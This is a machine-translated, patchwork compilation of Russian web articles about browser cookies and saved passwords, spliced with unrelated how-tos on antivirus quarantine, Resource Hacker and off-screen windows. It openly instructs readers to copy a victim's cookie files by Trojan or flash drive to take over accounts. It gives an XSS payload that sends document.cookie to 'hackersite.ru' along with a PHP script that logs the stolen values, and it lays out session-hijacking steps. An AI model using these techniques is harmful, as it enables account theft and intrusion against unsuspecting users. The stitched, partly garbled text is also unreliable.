Methods for stealing cookies. How to get password out of cookies How to steal cookies from your browser

When asked How to get COOKIES cokies. We need cookies how to get it, tell me pliz !!! 1 set by the author Vlad eeEEeeeeeeeeee the best answer is What are cookies?
The fact is that in the process of the development of www-technologies and the introduction of programming languages ​​on the Internet, a very serious problem arose before the program developers - how to save the results of the algorithm execution for each specific user for a long time? By itself, the HTTP protocol does not have the ability to capture the results of software processes. The use of sessions is also not a solution to the problem, since their action is terminated immediately after the connection with the server is broken.
The problem was resolved with the introduction of the cookies mechanism (that is, in translation from English - "cookies"). Cookies have a wonderful property - they are stored on the user's hard drive and can be stored there for almost an unlimited time.
At their core, cookies are ordinary text files stored in a special directory used by the browser (usually this folder is called Temporary Internet Files), and you can see them by going into this directory (quick access to it for the IE browser is carried out through the menu items Tools -> Internet Options -> Temporary Internet Files -> Settings -> View
Some cookie values ​​can only be stored for one session, they are deleted after the browser is closed. Others, set for a certain period of time, are written to the file. In general, this file is called "cookies.txt" (but there may be several of them) and is located in the working directory of the browser installed on the computer.
in other words
A cookie is a small piece of text information that the server sends to the browser. Cookies by themselves cannot do anything, but when a user accesses the server (types its address in the browser line), the server can read the information contained in the cookies and, based on its analysis, take any action. For example, in the case of authorized access to something via the web, the username and password are stored in cookies during the session, which allows the user not to enter them again when requesting each password-protected document.
If you are trying to get access through this topic to someone else's password-protected accounts, then you need to find a way remotely (Trojan) or insolently copying to a flash drive if you have access to the computer where the victim is working, copy this cookie.txt file and replace it in your own (the same) your browser to it. Then you go to the desired site where the account you are interested in, and you automatically get access. But keep in mind, if the victim clicks out of the account (for example, from the mail) at the end of the work, then the session information will be erased in the cookies and you will not get any access.
Mozilla Firefox stores cookies in the user profile, in the file C: Documents and Settings Username Application DataMozillaFirefoxProfiles<имя профиля>cookies.txt
Internet Explorer saves these cookies as separate text files in the C: Documents and Settings folder Username Cookies
Opera stores cookies in file C: Documents and Settings Username Application DataOperaOperaprofilecookies4.dat

Cookies are necessary for the user not only for faster loading of continuously visited pages. Remote servers save this or that information to the user's computer, so that in the future it would be comfortable to work with the exchange of data.

Instructions

1. In order to find out the username and password of a user on the sources, it is allowed to use files. If you use the Mozilla Firefox browser, and the option of recording cookies is enabled in it, you can find out the saved logins and passwords right in the program. To do this, at the top of the page in the browser menu, click the item under the name "Tools". Select a system setting. A huge window will appear in front of you, containing several tabs. Go to the "Security" tab.

2. In the window that appears, click on the button labeled "Saved Passwords". You will see a new window with a list of logins that you saved on different sources. Click on the "Show passwords" button. You can also protect this information by preferring to set a password in the same menu.

3. If you use the Opera browser, you will only be able to find out the usernames. To do this, open the password administrator in the tools and look at the available logins. To find out the saved password, install additional software, for example, Opera Password Recovery. At the same time, remember that no third-party software guarantees you the complete safety of your personal data, and therefore remember passwords independently or use another browser.

4. Do you want to see the password in Google Chrome? Then open the settings in the parameters by clicking on the appropriate item on the toolbar. Go to the "advanced" section and click on "Show cookies".

5. If you are a user of the standard Internet Explorer browser, use the primitive BehindTheAsterisks utility to extract the password. It is a freeware program that has an intuitive interface and provides the user with the option to display the password with symbols instead of asterisks. This utility is available for other browsers as well.

Many modern browsers have such a function as remembering passwords for different sites. By entering the password once, you free yourself from the need to fill out a line every time you enter the site. But what if you forgot your password, but on the site it is hidden behind dots? In order to find out the password, you must follow the further instructions.

Instructions

1. First, you need to go to the site, the password for which you need. Click on "Password Wand". After all the fields are filled with asterisks or dots, immediately press ESC. After that, enter the following code into the address bar: javascript: (function () (inp = document.getElementsByTagName (‘input’); for (var j = 0; j< inp.length; j++) { if (inp[j].type == ‘password’) { prompt(inp[j].name, inp[j].value); } } }) ()Нажав на ENTER, вы получите нужный пароль.

2. If the 1st method did not help, you can use the Opera password Recovery utility. This is a program that is designed to correct passwords stored in the Opera browser. This program is very primitive and easy to use, you only need to run it, and then click on "Password correction". All found passwords will be saved in text files or HTML reports.

All modern browsers have the option to clean up temporary files, including cookies... But sometimes it is not a total cleanup that is needed, but selective viewing, editing and deletion of cookies stored by the browser. Below is a summary of how to access such an option in especially famous browsers.

Instructions

1. In the Opera browser, to access each cookie stored by it, go to the "Settings" section in the "Main Menu" and choose the "General settings ..." item there (or press the CTRL + F12 key combination). As a result, the browser settings window will open, in which you need to go to the "Advanced" tab, select the "Cookies" section on the left panel and click the "Manage Cookies" button.

2. In Opera, in the cookie management window, you can find what you need, select and, by clicking the "Edit" button, see the contents of the entry. You can edit the cookie if you want.

3. In Mozilla FireFox, in order to get to cookies, you need to choose the "Tools" section in the menu, and click on the "Settings" item in it. In the settings window, go to the "Privacy" tab and click the button that says "Show Cookies ...". As a result, a window with a list of saved cookies will open, in which it is possible to search and view their contents.

4. In Internet Explorer, the path to the cookie store is through the menu section with the name "Tools" and the item "Internet Options" in it. Clicking on this item opens a window in which you need to click on the "General" tab that one of the "Options" buttons, which is placed in the "Browsing history" section. Later this will open the following window with the title "Temporary files options" where you need to click the button labeled "Show files".

5. In this way, in Internet Explorer, you will be taken to the folder for storing all temporary files. If you click the "Name" column heading, the files will be sorted by name and all cookie files will be grouped into one block. You can find the one you need and open it for viewing and editing in an ordinary text editor.

6. The Google Chrome browser has the longest sequence of steps for acquiring access to cookies. First, you should click the icon with the image of a wrench in the upper right corner of the window and choose the "Options" item from the menu. This will open the "Settings" page, in the left pane of which you need to click the "Advanced" link. On the advanced settings page, click the "Table of Contents Settings" button to open a new window.

7. In the new window, you need to click on the "All cookies and site data" button. This will be the final destination in the transition to the cookies saved by the browser.

8. In Google Chrome, you can view and delete cookies .

9. In the Safari browser, you also need to click the icon in the upper right corner to access the cookies - the one with the gear. In the menu, select "Settings ...", which will open a new window. In it, you need to go to the "Security" tab and click the "Show Cookies" button. In Safari, you can only search and delete cookies .

Related Videos

Modern browser programs remember everything for us: our favorite pages, everything that we have visited for a long time, passwords to all kinds of sites - mail, games, public networks. How comfortable it is to enter the site and not think about entering a username and password! But it is possible to reinstall the system from time to time and return all passwords from the program memory to your own.

You will need

  • - computer with internet access
  • - browser

Instructions

1. Run the Mozilla Firefox program, and in order to restore password saved in this browser, execute the “Tools” command. Select the "Settings" menu item, go to the "Security" tab, click the "Saved Passwords" button. In this window, view all passwords saved in the browser, select the required one and click "show".

2. Download a program that will allow you to show saved passwords in the Opera program - UnWand - A program for viewing passwords (Wand - Rod) in Opera, as well as Opera password recovery 3.5.1.225 It will not be difficult to find it. Install the program on your computer, launch the program. Select the required password correction option: mechanically from the wand, mechanically from the mail, manually from the wand, manually from the mail, mixed option. Click the Next button. A scanning window will appear, in the next window you need to specify the location of the opera program, and click on. The program will scan the given folder and display the saved passwords.

3. Download a program that will be able to show passwords in the browser, not only in Opera, or Mozilla, but also many others browsers- Multi Password Recovery. To download, go to the formal website of the program - http://passrecovery.com/ru/index.php. Download and install this program on your computer. During installation, the program will offer to check the update, click "OK". Run the program from the main menu. A menu will be displayed on the left in which you need to choose the necessary program in order to restore password... For example, the browser Internet Explorer, select it from the list, and the passwords saved in this browser will be shown in the right part of the program window.

4. To restore password from a browser with the help of another program, go to the site http://www.nirsoft.net/, select and download any program from there. Their functions are similar to the previously described programs.

Roughly invariably, to maintain privacy when entering passwords, the corresponding programs instead of the entered characters display unreadable characters - "asterisks". However, if you see these same asterisks in the password entry field, this does not mean that this field is truly placed password... Often, such asterisks do not hide anything, but have a purely informational function - to make you realize that when you enter password will be hidden from prying eyes.

Instructions

1. Give up the intention of decrypting asterisks in web pages retrieved from the server. In the absolute majority of cases, passwords are not transmitted by the server to the user's browser. You can verify this by opening the initial page code received by your web browser - it will not have a password either in clear text or encrypted. Passwords are transmitted through the Internet only in one direction - from the browser to the server.

2. Use some specialized application that can read passwords in open windows of other programs. There are no such tools in the service components of the operating system. It would be unusual if a decryption program were bundled with password security programs. It is not difficult to find the necessary program on the Internet - for example, it can be Pass Checker. The program consists of six files (including the help file) with a total weight of 296 kilobytes each and does not require installation. Immediately after saving the files to a rough disk or removable media, it can be launched by double-clicking on the Password.exe file.

3. Open the program you care about asterisks. After that, place the Pass Checker window over the open program and with the left mouse button drag the skull image to the field with the hidden asterisks password. This field will be highlighted with a blinking frame, and in the Pass Checker window, on the contrary, the window text will be placed by the decoder password in its unencrypted form. The password allowed to copy and apply the way you want.

4. Click the Help button in the bottom row of buttons if you want to use more difficult password decryption techniques. In addition to the particularly simple one described in the previous step, the program provides two more options. Regardless of the English-language interface, the Pass Checker Help is written in Russian, so there will be no hiccups with the translation.

Related Videos

The procedure for extracting accidentally moved files from quarantine the vast majority of antivirus programs are more or less standardized and differ only in details. In this case, we are considering the operation of correcting the quarantined files of the Microsoft Security Essentials, Norton and Avast Antivirus applications.

You will need

  • - Microsoft Security Essentials;
  • - avast! Free Antivirus 5.0;
  • - Norton Internet Security

Instructions

1. Start the Microsoft Security Essentials application and go to the "Log" tab in the main program window to perform the operation of extracting files from quarantine .

2. Specify the item "Items placed in quarantine" and click the "View data" button in the dialog box that opens.

3. Enter the computer manager password in the prompting window that appears and specify the file to be corrected from quarantine, listed.

4. Click the "Restore" button to conclude the file extraction procedure, or use the "Delete all" button for a complete cleanup quarantine antivirus application Microsoft Security Essentials.

5. Select the "Maintenance" menu item in the main window of the avast! Free Antivirus 5.0 and go to the "Quarantine" tab of the dialog box that opens.

6. Call the context menu of the file to be corrected in the list on the right side of the application window and select the "Restore" command to extract the selected file to the original storage location specified in the "Initial location" section.

7. Select "Quarantine" in the "Security Log" window of the Norton Internet Security antivirus program and click the "Options" button to perform the operation of correcting the file placed in quarantine.

8. Specify the required file and select the "Restore this file" command in the "Danger found" window that opens.

9. Click the Yes button in the new Edit From quarantine"And finish the correction operation by clicking the" Close "button.

Note!
Extracting files from quarantine is allowed only if you are absolutely sure that they are harmless!

Helpful advice
It should be remembered that "Quarantine" is a special folder created by the antivirus application. Quarantined files are completely isolated from the operating system and are inaccessible to external processes. They cannot be started, which ensures the safety of their storage.

The Windows operating system has a typical mechanism for embedding arbitrary data into dynamic libraries and executable modules, as well as an API for working with them. Images, string tables, sample dialogs, toolbars, menus, and other information are added to PE modules as sources. Occasionally, for different purposes, it is required to pull sources from a compiled module.

You will need

  • Is a free Resource Hacker program available for download at rpi.net.au/~ajohnson/resourcehacker.

Instructions

1. Upload the PE module file to Resource Hacker. In the main application menu, step by step click on the File and Open items, or press the Ctrl + O key combination on the keyboard. The file open dialog will be displayed. Navigate to the directory where the target file is located. Select the PE module in the directory listing. Click the "Open" button.

2. Determine the list of sources to be pulled. After loading the PE file, a tree structure will be displayed on the left side of the Resource Hacker main window. It is a list of all sources of a module, grouped by type. So, say, dialogue sources are located in the Dialog section, cursor sources - in the Cursor and Cursor Group sections, icons - in the Icon and Icon Group sections. The nodes of the second tier of the hierarchy contained in the entire section are numeric or symbolic source identifiers. Expand them and highlight the nested elements. This will render the corresponding sources. Icons, cursors, rasters will be displayed as images in the right pane of the main application window. For string tables, accelerators, version information, sample dialogs, menus, toolbars, code will be built and displayed in a format suitable for use with the RCC compiler. In addition, sample dialogs are rendered in a separate floating window.

3. Start the process of saving the sources found in the previous step. Select the required element in the tree structure on the left. Open the Action section of the main application menu. Select the item corresponding to the save operation of a particularly suitable type. Select the item “Save resource as a binary file ...” if you want to save the source as a piece of binary data, the same as contained in the PE module. Select “Save resource as a *. res file ... ”to purchase a file containing a compiled version of the highlighted source. A similar file is suitable for linking with an application or a library. Click on the item with the text like “Save [Section name: subsection name: resource name]…” in order to extract the sources in their initial form. This menu item should be used to extract files of icons, cursors and images.

4. Draw out the sources. In the dialog with the title “Save resource to…” specify the name and directory of the saved file. Click the "Save" button.

Occasionally, on a Windows operating system with window For some program, a strange thing happens - in the minimized and expanded state for each screen, its behavior is typical, and in a medium-sized window the application disappears beyond the visible area of ​​the screen. There are methods to get a window that has rolled down from the desktop, and they are not that difficult.

You will need

  • Windows OS.

Instructions

1. The first method of extracting an object from a visible area is to delegate all manual operations for positioning it to the operating system itself. To do this, in addition to the problematic window, open another one that belongs to any application - for example, launch "Explorer". After that, right-click on the free space on the taskbar in order to bring up the context menu. Give the OS a command to organize open windows using one of the methods listed in the menu - "Windows in cascade", "Display windows in stack" or "Display windows side by side". Later on, the lost window behavior will return to normal.

2. Another method is to use keyboard control over the positioning of the window. Later, when you enable it, there will be no need to reach with the mouse pointer to the window title in order to get the chance to move it. To enable this mode, press the hot keys Alt + Space + P. After that, with the support of arrow keys, move the hidden window to the visible area of ​​the desktop. To disable the keyboard positioning mode, click anywhere with the left mouse button.

3. 3rd method - stretching the available desktop space. This can be done by increasing the screen resolution. If you are using the latest versions of Windows 7 or Vista, right-click the background image on the desktop and select the item that is named “Screen resolution” from the pop-up context menu. The OS will launch one of the "Control Panel" applets, where you need to open the "Resolution" drop-down list and move the slider up, or more, to the very top mark. Later on, click the "Apply" button. The applet will change the resolution and start a timer, after which the metamorphosis will be canceled. Within the allotted time, you need to press the button to confirm the operation. Once you've done that, locate the missing window, move it to the center of your desktop, and return the screen resolution to its former value.

Among the information in cookies, the identification data of users is repeatedly requested. Find out the login and password on Internet sources that save confidential data about their visitors.

You will need

  • - PC running Windows operating system;
  • - access to the Internet;
  • - web browsers: Mozilla Firefox, Opera, Internet Explorer, Google Chrome;
  • - Opera Password Recovery program;
  • - BehindTheAsterisks utility.

Instructions

1. If you are using Mozilla Firefox browser with cookies enabled in the settings to browse web pages, find out your saved logins and passwords at ease in software. Start your Internet browser, open the "Tools" item and go to the system settings. In the window that appears, containing several tabs, activate the "Protection" parameter.

2. Click on the button "Saved passwords»In the section that appears and go to a new web browser page. It has identification symbols that are stored in the computer memory when you visit various Internet sources. Click on the line "Display passwords". You can protect your confidential information and set a passcode in the same browser menu.

3. Find out usernames if you visit sources on the global network with the help of the famous Opera browser. Open the "Tools" menu item at the top of your web browser, use the password administrator and view the list of user logins.

4. Install additional software to access saved passwords, preferring the Opera Password Recovery utility for this purpose. Remember that a third-party program does not guarantee the complete safety of your personal data.

5. Looking through passwords in Google Chrome browser, open the corresponding option in the browser toolbar. Go to advanced settings and activate the item "Show cookies".

6. Use BehindTheAsterisks, a multifunctional free utility with a subconsciously accessible interface, and discover passwords v cookies the standard Internet Explorer browser. Go to the program options to display codewords with symbols instead of asterisks and get access to passwords.

Cookies are files that are stored on the user's PC and contain information about the sites he has ever visited. With the support of cookies, it is allowed to know which pages the user has visited.


Cookies are files with information about ever visited sites that are stored on the user's computer. That is, when a user visits a web source, information about him is recorded in a cookie and upon further visit to this site is transmitted to the web server.

What are we for

Cookies contain a variety of information, for example, account passwords on sites, the color of the sample, the font size that the user has made for the site, etc. The clearest example of how cookies are allowed to save settings is given by the Google search engine. This machine provides the ability to customize your search results, we are talking about the number of results on the page, the format of the pages displayed, the interface language and other settings. As for passwords from accounts on sites, every user has repeatedly noted that once having indicated his username and password on some web source, he didn’t do it any more when re-authorizing, since this information about the site was mechanically entered into cookies. When you revisit the source, the data is sent to the web server, which mechanically recognizes the user, freeing him from having to fill in the fields again. Cookies can also be useful for keeping statistics. Cookies cannot pose any danger to your computer. This is each just text data, unable to harm him. With the support of cookies, it is impossible to delete, transfer or read information from the user's PC, however, it is allowed to find out which pages he has visited. Modern browsers give the user a better chance of choosing whether to save cookies or not, but if he chooses the service to disable saving cookies, he must be prepared for snags in working with some sites.

Disadvantages of cookies

First, cookies do not invariably have the ability to correctly identify a user. Secondly, they can be stolen by a criminal. With regard to misrecognition, the reason for this may be the use of multiple browsers by the user. Tea, every browser has its own storage, therefore cookies do not identify the user, but his browser and PC, and if he has several browsers, then there will be several sets of cookies. Attackers can be attracted by the continuous exchange of cookies between the user's browser and the web server; if the network traffic is not encrypted, it is allowed to read the user's cookie with the help of special sniffer programs. This problem can be solved by encrypting traffic and using different protocols.

Related Videos

What is a cookie?

There is a mechanism that allows the http-server to save some text information on the user's computer, and then access it. This information is called a cookie. In fact, each cookie is a pair: the name of the parameter and its value. Also, each cookie is assigned the domain to which it belongs. For security reasons, in all browsers, the http server is only allowed to access the cookie for its domain. Additionally, cookies can have an expiration date, then they will be stored on the computer until this date, even if you close all browser windows.


Why are cookies important?

In all multi-user systems, cookies are used to identify a user. Rather, the current connection of the user to the service, user session. If someone recognizes your cookies, they will be able to log in on your behalf. Because at the moment very few Internet resources are checking the change of IP-address during one user session.


How do I change or replace a cookie?

Browser developers do not provide built-in cookie editing tools. But you can get by with a regular notepad.


Step 1: create a text file with text

Windows Registry Editor Version 5.00



@ = "C: \\ IE_ext.htm"

We save it under the name IE_ext.reg

Step 2: Using the created file, add changes to the Windows registry.

Step 3: create a text file with text

< script language = "javascript">
external.menuArguments.clipboardData.setData ("Text", external.menuArguments.document.cookie);

external.menuArguments.document.cookie = "testname = testvalue; path = /; domain = testdomain.ru";
alert (external.menuArguments.document.cookie);


Save it under the name C: \ IE_ext.htm

Step 4: We go to the website of interest to us.

Step 5: Right-click on an empty space on the page and select the menu item "Working with Cookies"... We allow access to the clipboard. Your cookies for this site will appear on the clipboard. You can paste their notepad and see.


Step 6: To change some cookie, edit the file C: \ IE_ext.htm, replacing testname to the name of the cookie, testvalue- on its value, testdomain.ru- to the site domain. If necessary, add more similar lines. For ease of control, I added the output of the current cookies before and after the change to the script: alert (external.menuArguments.document.cookie);

Step 7: Perform Step 5 again, and then refresh the page.

Bottom line: we will go to this website with updated cookies.

How to steal a cookie using JavaScript?

If an attacker managed to find a way to execute arbitrary JavaScript on the victim's computer, then he can very easily read the current cookies. Example:


var str = document.cookie;

But will he be able to transfer them to his site, because, as I indicated earlier, a JavaScript script will not be able to access a site located in a different domain without additional confirmation? It turns out that a JavaScript script can load any image located on any http server. At the same time, send any text information in the download request to this picture. Example: http://hackersite.ru/xss.jpg?text_info Therefore, if you run this code:

var img = new Image ();

img.src = "http://hackersite.ru/xss.jpg?"+ encodeURI (document.cookie);


then the cookie will appear in the request to download the "picture" and "go" to the attacker.

How to handle such requests to upload a "picture"?

An attacker only needs to find a hosting with php support and place code there like this:

$ uid = urldecode ($ _ SERVER ["QUERY_STRING"]);
$ fp = fopen ("log.txt", "a");
fputs ($ fp, "$ uid \ n");
fclose ($ fp);
?>

Then all parameters of requests to this script will be saved in the file log.txt... It remains only in the previously described JavaScript script to replace http://hackersite.ru/xss.jpg to the path to the given php script.


Outcome

I have shown only the simplest way to exploit XSS vulnerabilities. But it proves that the presence of at least one such vulnerability on a multi-user Internet site can allow an attacker to use its resources on your behalf.

JavaScript makes it possible to set and read cookies in the browser. In this lesson, we will look at how the work with cookies works, and also make a simple page that will remember the name entered and display it every time you enter.

What are cookies?

Cookies are small amounts of data stored by the web browser. They allow you to store certain information about the user and receive it every time they visit your page. Each user has their own unique set of cookies.

Typically, cookies are used by a web server to perform functions such as tracking site visits, registering on a site, and storing information about orders or purchases. However, we don't need to come up with a web server program to use cookies. We can use them using JavaScript.

Document.cookie property.

In JavaScript, cookies are available through the cookie property of the document object. You can create cookies as follows:

And get all the saved set of cookies like this:

Var x = document.cookie;

Let's take a closer look at saving and receiving cookies.

Saving cookies

To save the cookie, we need to set document.cookie to a text string that contains the properties of the cookie we want to create:

document.cookie = "name = value; expires = date; path = path; domain = domain; secure";

The properties are described in the table:

PropertyDescriptionExample
name = value Sets the name of the cookie and its value. username = Vasya
expires = date Sets the expiration date for the cookie. The date must be in the format returned by the toGMTString () method of the Date object. If expires is not specified, the cookie will be deleted when the browser is closed. expires =
13/06/2003 00:00:00
path = path This option sets the path on the site within which the cookie is valid. Only documents from the specified path can get the cookie value. Usually this property is left blank, which means that only the document setting the cookie can access it. path = / demo /
domain = domain This option sets the domain within which the cookie is valid. Only sites from the specified domain can get the cookie value. Usually this property is left blank, which means that only the domain that set the cookie can access it. domain = site
secure This option tells the browser to use SSL to send cookies to the server. Very rarely used. secure

Let's see an example of setting a cookie:

document.cookie = "username = Vasya; expires = 02/15/2011 00:00:00";

This code sets the username cookie, and assigns it the value "Vasya", which will be stored until February 15, 2011 (European time format is used!).

var cookie_date = new Date (2003, 01, 15); document.cookie = "username = Vasya; expires =" + cookie_date.toGMTString ();

This code performs exactly the same action as the previous example, but uses the Date.toGMTString () method to set the date. Note that the month numbering in the Date object starts at 0, which means February is 01.

Document.cookie = "logged_in = yes";

This code sets the logged_in cookie, and sets it to "yes". Since the expires attribute is not set, the cookie will be deleted when the browser is closed.

var cookie_date = new Date (); // Current date and time cookie_date.setTime (cookie_date.getTime () - 1); document.cookie = "logged_in =; expires =" + cookie_date.toGMTString ();

This code sets the logged_in cookie and sets the storage string to the time one second before the current one - such an operation will immediately delete the cookie. The manual way to delete cookies!

Recode the value of the cookie!

You should recode the cookie value to correctly store and display characters such as space and colon. This operation ensures that the browser interprets the value correctly. Transcoding is easily done with the JavaScript escape () function. For example:

document.cookie = "username =" + escape ("Vasya Pupkin") + "; expires = 15/02/2003 00:00:00";

Function for setting cookies

Setting a cookie becomes easier if we write a custom function that performs simple operations such as re-encoding values ​​and building the document.cookie string. For example:

Function set_cookie (name, value, exp_y, exp_m, exp_d, path, domain, secure) (var cookie_string = name + "=" + escape (value); if (exp_y) (var expires = new Date (exp_y, exp_m, exp_d ); cookie_string + = "; expires =" + expires.toGMTString ();) if (path) cookie_string + = "; path =" + escape (path); if (domain) cookie_string + = "; domain =" + escape (domain); if (secure) cookie_string + = "; secure"; document.cookie = cookie_string;)

The function takes the data for the cookie as arguments, then builds the appropriate string and sets the cookie.

For example, setting a cookie without a storage period:

set_cookie ("username", "Vasya Pupkin"); set_cookie ("username", "Vasya Pupkin", 2011, 01, 15);

Setting cookies with expiration date, website domain, using SSL, but no path:

set_cookie ("username", "Vasya Pupkin", 2003, 01, 15, "", "site", "secure");

Function for deleting cookies.

Another useful function for working with cookies is presented below. The function "removes" cookies from the browser by setting the storage time one second earlier than the current time.

function delete_cookie (cookie_name) (var cookie_date = new Date (); // Current date and time cookie_date.setTime (cookie_date.getTime () - 1); document.cookie = cookie_name + = "=; expires =" + cookie_date.toGMTString ();)

To use this function, you only need to pass it the name of the cookie to be deleted:

Delete_cookie ("username");

Getting the value of a cookie

To get the value of the preset cookie for the current document, use the document.cookie property:

Var x = document.cookie;

Thus, a string is returned that consists of a list of name / value pairs separated by semicolons for of all cookies that are valid for the current document. For example:

"username = Vasya; password = abc123"

In this example, there are 2 cookies that were preset: username, which has the value "Vasya", and password, which has the value "abc123".

Function to get the value of a cookie

Usually, we only need the value of one cookie at a time. Therefore, the cookie string is not user-friendly! Here's a function that processes the document.cookies line, returning only the cookie that is of interest at a given moment:

Function get_cookie (cookie_name) (var results = document.cookie.match ("(^ |;)?" + Cookie_name + "= ([^;] *) (; | $)"); if (results) return (unescape (results)); else return null;)

This function uses a regular expression to find the name of the cookie that is of interest and then returns the value that was processed by unescape () to be converted to normal character form. (If no cookie is found, null is returned.)

This function is easy to use. For example, to return the value of the cookie username:

Var x = get_cookie ("username");

Simple example of use

In this example, we made a page that asks for your name on the first visit, then it saves your name in a cookie and shows it on next visits.

Open the page in a new window. On the first visit, she will ask you to enter a name and save it in a cookie. If you visit the page again, it will display the entered cookie name on the screen.

For cookies, we set a storage period of 1 year from the current date, which means that the browser will save your name even if you close it.

You can view the page code in a browser by selecting the View Source function. Here's the bulk of the code:

if (! get_cookie ("username")) (var username = prompt ("Please enter your name", ""); if (username) (var current_date = new Date; var cookie_year = current_date.getFullYear () + 1; var cookie_month = current_date.getMonth (); var cookie_day = current_date.getDate (); set_cookie ("username", username, cookie_year, cookie_month, cookie_day);)) else (var username = get_cookie ("username"); document.write ("Hello," + username + ", welcome to the page!"); Document.write ("
Forget about me!"); }

This tutorial showed you how to use JavaScript cookies to store information about your visitors. Thank you for the attention! :)

Cookies - information in the form of a text file stored on the user's computer by the website. Contains authentication data (login / password, ID, phone number, mailbox address), user settings, access status. Stored in the browser profile.

Hacking cookies Is the theft (or "hijacking") of a web resource visitor's session. Closed information becomes available not only to the sender and recipient, but also to a third party - the person who carried out the interception.

Tools and techniques for cracking cookies

In addition to skills, dexterity and knowledge, computer thieves, like their counterparts in real life, of course, have their own tools - a kind of arsenal of master keys and probes. Let's take a look at the most popular hackers' tricks they use to extract cookies from the general public on the Internet.

Sniffers

Special programs for monitoring and analyzing network traffic. Their name comes from the English verb "sniff", because literally "sniff out" transmitted packets between nodes.

But attackers use a sniffer to intercept session data, messages and other confidential information. The target of their attacks is mainly unsecured networks, where cookies are sent in an open HTTP session, that is, they are practically not encrypted. (Public Wi-Fi is the most vulnerable in this regard.)

The following methods are used to inject a sniffer into the Internet channel between the user's site and the web server:

  • "Listening" to network interfaces (hubs, switches);
  • branching and copying traffic;
  • connection to the gap of the network channel;
  • analysis by means of special attacks that redirect the victim's traffic to a sniffer (MAC-spoofing, IP-spoofing).

XSS stands for Cross Site Scripting. It is used to attack websites to steal user data.

How XSS works is as follows:

  • an attacker injects malicious code (a special disguised script) on a website, forum or message (for example, when chatting on a social network);
  • the victim visits the infected page and activates the installed code on his PC (clicks, follows a link, etc.);
  • in turn, the malicious code triggered "extracts" the user's confidential data from the browser (in particular, cookies) and sends it to the attacker's web server.

In order to "implant" the XSS software mechanism, hackers exploit all kinds of vulnerabilities in web servers, online services and browsers.

All XSS vulnerabilities are divided into two types:

  • Passive. The attack is obtained by requesting a specific script on a web page. Malicious code can be entered in various forms on a web page (for example, in a site search bar). The most susceptible to passive XSS are resources that do not filter HTML tags when data arrives;
  • Active. Located directly on the server. And they are triggered in the victim's browser. They are actively used by scammers in all kinds of blogs, chats and news feeds.

Hackers carefully camouflage their XSS scripts so that the victim doesn't suspect anything. They change the file extension, give out the code as a picture, motivate to follow the link, attract with interesting content. As a result: a PC user who has not mastered his own curiosity, with his own hand (click of the mouse) sends session cookies (with a login and password!) To the author of the XSS script - a computer villain.

Cookies substitution

All cookies are saved and sent to the web server (from which they "came") without any changes - in their original form - with the same values, strings and other data. Deliberate modification of their parameters is called spoofing cookies. In other words, when a cookie is substituted, the attacker is wishful thinking. For example, when making a payment in an online store, the payment amount in the cookie changes downwards - thus there is a "saving" on purchases.

Stolen cookies for a session on a social network from someone else's account are "inserted" into another session and on another PC. The owner of the stolen cookies gets full access to the victim's account (correspondence, content, page settings) as long as she is on her page.

Cookies are "edited" using:

  • functions "Manage cookies ..." in the Opera browser;
  • Cookies Manager and Advanced Cookie Manager addons for FireFox;
  • IECookiesView utilities (Internet Explorer only);
  • a text editor such as AkelPad, NotePad or Windows Notepad.

Physical access to data

A very simple implementation scheme, it consists of several steps. But it is effective only if the victim's computer with an open session, for example Vkontakte, is left unattended (and long enough!):

  1. A javascript function is entered into the address bar of the browser, displaying all saved cookies.
  2. After pressing "ENTER" they all appear on the page.
  3. Cookies are copied, saved to a file, and then transferred to a USB flash drive.
  4. On another PC, cookies are substituted in a new session.
  5. Access to the victim's account is opened.

As a rule, hackers use the above tools (+ others) both in combination (since the level of protection on many web resources is quite high), and separately (when users are overly naive).

XSS + sniffer

  1. An XSS script is created, which specifies the address of the online sniffer (of its own manufacture or of a specific service).
  2. The malicious code is saved with the .img extension (image format).
  3. Then this file is uploaded to the website page, to the chat, or to a private message - where the attack will be carried out.
  4. The user's attention is drawn to the created "trap" (here social engineering comes into force).
  5. If the trap is triggered, cookies from the victim's browser are intercepted by the sniffer.
  6. The cracker opens the sniffer logs and retrieves the stolen cookies.
  7. Next, it performs a substitution to obtain the rights of the account owner using the above tools.

Protecting cookies from hacking

  1. Use an encrypted connection (using appropriate protocols and security methods).
  2. Do not respond to questionable links, pictures, tempting offers to get acquainted with the "new free software". Especially from strangers.
  3. Use only trusted web resources.
  4. End an authorized session by pressing the "Exit" button (and not just close the tab!). Especially if the account was logged in not from a personal computer, but, for example, from a PC in an Internet cafe.
  5. Do not use the "Save Password" function of the browser. The stored credentials increase the risk of theft dramatically. Do not be lazy, do not spare a few minutes of time to enter your password and login at the beginning of each session.
  6. After surfing the web - visiting social networks, forums, chats, sites - delete saved cookies and clear the browser cache.
  7. Update browsers and antivirus software regularly.
  8. Use browser extensions that protect against XSS attacks (for example, NoScript for FF and Google Chrome).
  9. Periodically in accounts.

And most importantly - do not lose your vigilance and attention while resting or surfing the Internet!